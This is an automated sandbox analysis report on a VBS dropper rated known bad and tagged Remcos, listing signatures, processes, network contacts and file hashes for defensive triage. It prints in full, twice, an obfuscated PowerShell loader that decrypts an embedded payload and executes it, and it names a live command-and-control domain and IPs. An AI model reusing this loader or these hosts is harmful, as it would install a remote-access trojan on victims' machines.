Analysis Overview
SHA256
dcc910e18826b06462dd9876597c66f760a0cf3748bb7290f836fd197c992461
Threat Level: Known bad
The file greatbunfeelsoftandhoney.vBS was found to be: Known bad.
Malicious Activity Summary
Remcos
Blocklisted process makes network request
Checks computer location settings
Command and Scripting Interpreter: PowerShell
Suspicious use of SetThreadContext
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Suspicious use of SetWindowsHookEx
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-25 07:37
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-25 07:37
Reported
2024-07-25 07:40
Platform
win7-20240708-en
Max time kernel
121s
Max time network
122s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2120 wrote to memory of 2060 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2120 wrote to memory of 2060 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2120 wrote to memory of 2060 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\greatbunfeelsoftandhoney.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI78366815743834883177266387252660CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIga9tsmjvyGDEbTnjHFelJAUX4KCrTqVd45OcR4UWK9uBqcgRjTWzDVc0WLQLim8CZLV2YjtpSXW2QEA7VS/cvlAg2RLEzlZhddu/3LArAVwxnZmAigs4May7gn4fc9422i1e7fb7BZcIhdfsOatC5rwFPQBEESYDArlsrrsutl8YAgsgkQ4gbI48F1xMvunKLWDK1D/9WrrhLsb1SLaQ/MqF7zxqfvyGQ03UsOYtnpLrLpGmms6XemzN9uablVCW+onrPheHxhUpxAMTM0NOlqdm96kGREpXnp5R0WWFm+VgsQs/0ArBqkL15cemt+b9tRfSYByx0ZCboLCIa+oNycuKAuqf6Y/epNEeWGAqDqtjJqJIdiWHXYEhuwAZ98fk6RvR2+I3Webw06dUuRuR0/wjXoClMN4Oi6lhs/2QJYIgc+pLJV6AdkpnOnyUz4Ph36fvi3kQDM5MYOUDNo2+6gXUpQCiHAOdKqyqpErMF2HnYkU7+9MZfzG1yN7jE1AonEB1cZLclGXlWzU5zLlSJkC++sl5g+H9/Ux0Quib8bCE/GQEENJXAItpoSUbSEZSfX5sz23qzU7iCwed2QQLvqlgF3V+q2aYckTdCPSVAvQRX9WuY9041YV3AFvtROXOXBAlBYI9KqH73bsZgQ78cSk2J0lpsV1brr8w70EaF2NeeTsoQ4rhSYd51QYUKywLaaOj8Yt6xF0RZj1YdsVpNFwER+648GnCnRjUfv946FxuENn2dw+EMKkwuYXc/A7rHY0SRssQqfRcZoVeZO1lDDvDGZ2bQg9+d9Q43Lpu+74awmPIPeIGELZwxij6ybjR1QJfOnA8dmgjAmS1XuRIKcXA6PT/pTItG8AMDa/LaOjsa0aqgsa5cxRaMOzWW1r+50Ff0VZI5mGbmpHMppQMYGAAA9Fwi5V7jMBFgJQTgHqqV6tffqE8RupeU9qsf52nXDHUXNbbNjk1nweHAsTsC2tzLMA7HmTN8L4yXKQnV3MvqgOmux+aqHaZQW0IsGJy4JmJG5l3lPta7tsetb5apmQ0wT5DIdfLz7uQeEJkVnH1dfAIfsDHhZoJCpM9qWVW2lqFkjcdG8iyuM6GCeuGvmSVhivNbbke4zWe+aZ+ih7fbhgFsPzAlTie5kgWKk5g2SiWz6lTgzeHOaC3LYkzM0fMSXGF9iaddVHBcBCdWJF7xk4RStlIEDu7KdXR5WJvjsgJCtVdGJh9Gco4zhyV+jEzhB5qkj1/Vm9he0MtCT8UNW1bB7JD4+CnL/GfJYpWqVJjTGQ5vHPMNz1epJu8k4HYD9Muuhf4Zo9zMppwT7CyAEK71rwBLg3fixJ5zh0YsPGiNEExWdt4NNGO3uC55RE3fIzGbUiaPA/DT9Le+rqO6iC6+pseZmhxxlclJ8HRwll7NQFUpm1UslUS23LMeA==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
Network
| Country | Destination | Domain | Proto |
| US | 198.46.176.133:80 | 198.46.176.133 | tcp |
Files
memory/2060-4-0x000007FEF58DE000-0x000007FEF58DF000-memory.dmp
memory/2060-5-0x000000001B6A0000-0x000000001B982000-memory.dmp
memory/2060-6-0x0000000002240000-0x0000000002248000-memory.dmp
memory/2060-7-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp
memory/2060-8-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp
memory/2060-9-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp
memory/2060-10-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp
memory/2060-11-0x000000001CCB0000-0x000000001CDD2000-memory.dmp
memory/2060-12-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-25 07:37
Reported
2024-07-25 07:40
Platform
win10v2004-20240709-en
Max time kernel
148s
Max time network
146s
Command Line
Signatures
Remcos
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4724 set thread context of 5044 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\greatbunfeelsoftandhoney.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI78366815743834883177266387252660CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIga9tsmjvyGDEbTnjHFelJAUX4KCrTqVd45OcR4UWK9uBqcgRjTWzDVc0WLQLim8CZLV2YjtpSXW2QEA7VS/cvlAg2RLEzlZhddu/3LArAVwxnZmAigs4May7gn4fc9422i1e7fb7BZcIhdfsOatC5rwFPQBEESYDArlsrrsutl8YAgsgkQ4gbI48F1xMvunKLWDK1D/9WrrhLsb1SLaQ/MqF7zxqfvyGQ03UsOYtnpLrLpGmms6XemzN9uablVCW+onrPheHxhUpxAMTM0NOlqdm96kGREpXnp5R0WWFm+VgsQs/0ArBqkL15cemt+b9tRfSYByx0ZCboLCIa+oNycuKAuqf6Y/epNEeWGAqDqtjJqJIdiWHXYEhuwAZ98fk6RvR2+I3Webw06dUuRuR0/wjXoClMN4Oi6lhs/2QJYIgc+pLJV6AdkpnOnyUz4Ph36fvi3kQDM5MYOUDNo2+6gXUpQCiHAOdKqyqpErMF2HnYkU7+9MZfzG1yN7jE1AonEB1cZLclGXlWzU5zLlSJkC++sl5g+H9/Ux0Quib8bCE/GQEENJXAItpoSUbSEZSfX5sz23qzU7iCwed2QQLvqlgF3V+q2aYckTdCPSVAvQRX9WuY9041YV3AFvtROXOXBAlBYI9KqH73bsZgQ78cSk2J0lpsV1brr8w70EaF2NeeTsoQ4rhSYd51QYUKywLaaOj8Yt6xF0RZj1YdsVpNFwER+648GnCnRjUfv946FxuENn2dw+EMKkwuYXc/A7rHY0SRssQqfRcZoVeZO1lDDvDGZ2bQg9+d9Q43Lpu+74awmPIPeIGELZwxij6ybjR1QJfOnA8dmgjAmS1XuRIKcXA6PT/pTItG8AMDa/LaOjsa0aqgsa5cxRaMOzWW1r+50Ff0VZI5mGbmpHMppQMYGAAA9Fwi5V7jMBFgJQTgHqqV6tffqE8RupeU9qsf52nXDHUXNbbNjk1nweHAsTsC2tzLMA7HmTN8L4yXKQnV3MvqgOmux+aqHaZQW0IsGJy4JmJG5l3lPta7tsetb5apmQ0wT5DIdfLz7uQeEJkVnH1dfAIfsDHhZoJCpM9qWVW2lqFkjcdG8iyuM6GCeuGvmSVhivNbbke4zWe+aZ+ih7fbhgFsPzAlTie5kgWKk5g2SiWz6lTgzeHOaC3LYkzM0fMSXGF9iaddVHBcBCdWJF7xk4RStlIEDu7KdXR5WJvjsgJCtVdGJh9Gco4zhyV+jEzhB5qkj1/Vm9he0MtCT8UNW1bB7JD4+CnL/GfJYpWqVJjTGQ5vHPMNz1epJu8k4HYD9Muuhf4Zo9zMppwT7CyAEK71rwBLg3fixJ5zh0YsPGiNEExWdt4NNGO3uC55RE3fIzGbUiaPA/DT9Le+rqO6iC6+pseZmhxxlclJ8HRwll7NQFUpm1UslUS23LMeA==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 198.46.176.133:80 | 198.46.176.133 | tcp |
| US | 8.8.8.8:53 | 133.176.46.198.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.159.190.20.in-addr.arpa | udp |
| US | 172.234.216.245:80 | 172.234.216.245 | tcp |
| US | 8.8.8.8:53 | 245.216.234.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | sembe.duckdns.org | udp |
| BE | 194.187.251.115:14645 | sembe.duckdns.org | tcp |
| US | 8.8.8.8:53 | 115.251.187.194.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | geoplugin.net | udp |
| NL | 178.237.33.50:80 | geoplugin.net | tcp |
| US | 8.8.8.8:53 | 50.33.237.178.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 10.27.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 85.65.42.20.in-addr.arpa | udp |
Files
memory/4724-0-0x00007FF8820D3000-0x00007FF8820D5000-memory.dmp
memory/4724-1-0x00000268EB5B0000-0x00000268EB5D2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ebkjsjtf.edx.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4724-11-0x00007FF8820D0000-0x00007FF882B91000-memory.dmp
memory/4724-12-0x00007FF8820D0000-0x00007FF882B91000-memory.dmp
memory/4724-13-0x00007FF8820D0000-0x00007FF882B91000-memory.dmp
memory/4724-14-0x00000268EBA90000-0x00000268EBBB2000-memory.dmp
memory/5044-15-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4724-18-0x00007FF8820D0000-0x00007FF882B91000-memory.dmp
memory/5044-19-0x0000000000400000-0x0000000000482000-memory.dmp
memory/5044-20-0x0000000000400000-0x0000000000482000-memory.dmp
memory/5044-22-0x0000000000400000-0x0000000000482000-memory.dmp
memory/5044-25-0x0000000000400000-0x0000000000482000-memory.dmp
memory/5044-26-0x0000000000400000-0x0000000000482000-memory.dmp
memory/5044-27-0x0000000000400000-0x0000000000482000-memory.dmp
memory/5044-28-0x0000000000400000-0x0000000000482000-memory.dmp
memory/5044-29-0x0000000000400000-0x0000000000482000-memory.dmp
memory/5044-30-0x0000000000400000-0x0000000000482000-memory.dmp
memory/5044-34-0x0000000000400000-0x0000000000482000-memory.dmp
memory/5044-35-0x0000000000400000-0x0000000000482000-memory.dmp
memory/5044-39-0x0000000000400000-0x0000000000482000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\note\nots.dat
| MD5 | 817332c17f9056a73fb65c0d5f948a9d |
| SHA1 | d570f66b3bab7a31ccb47acbd1785e0e6c79abb6 |
| SHA256 | f502cdb5095d52846e5a68c18c64e3aa8f59bd9c4de3532a27ede0e58fc91fbb |
| SHA512 | 32c26117816ba3aad475aef6ede839231e0d9caf16f4bb4e4a945f09b0676d6f4753b89d3cb0fd44ef4138b6209eb2416194d0d7ac222d9c38d1efdf1ad16c4e |
memory/5044-43-0x0000000000400000-0x0000000000482000-memory.dmp
memory/5044-44-0x0000000000400000-0x0000000000482000-memory.dmp
memory/5044-51-0x0000000000400000-0x0000000000482000-memory.dmp
memory/5044-52-0x0000000000400000-0x0000000000482000-memory.dmp
memory/5044-59-0x0000000000400000-0x0000000000482000-memory.dmp
memory/5044-67-0x0000000000400000-0x0000000000482000-memory.dmp
memory/5044-68-0x0000000000400000-0x0000000000482000-memory.dmp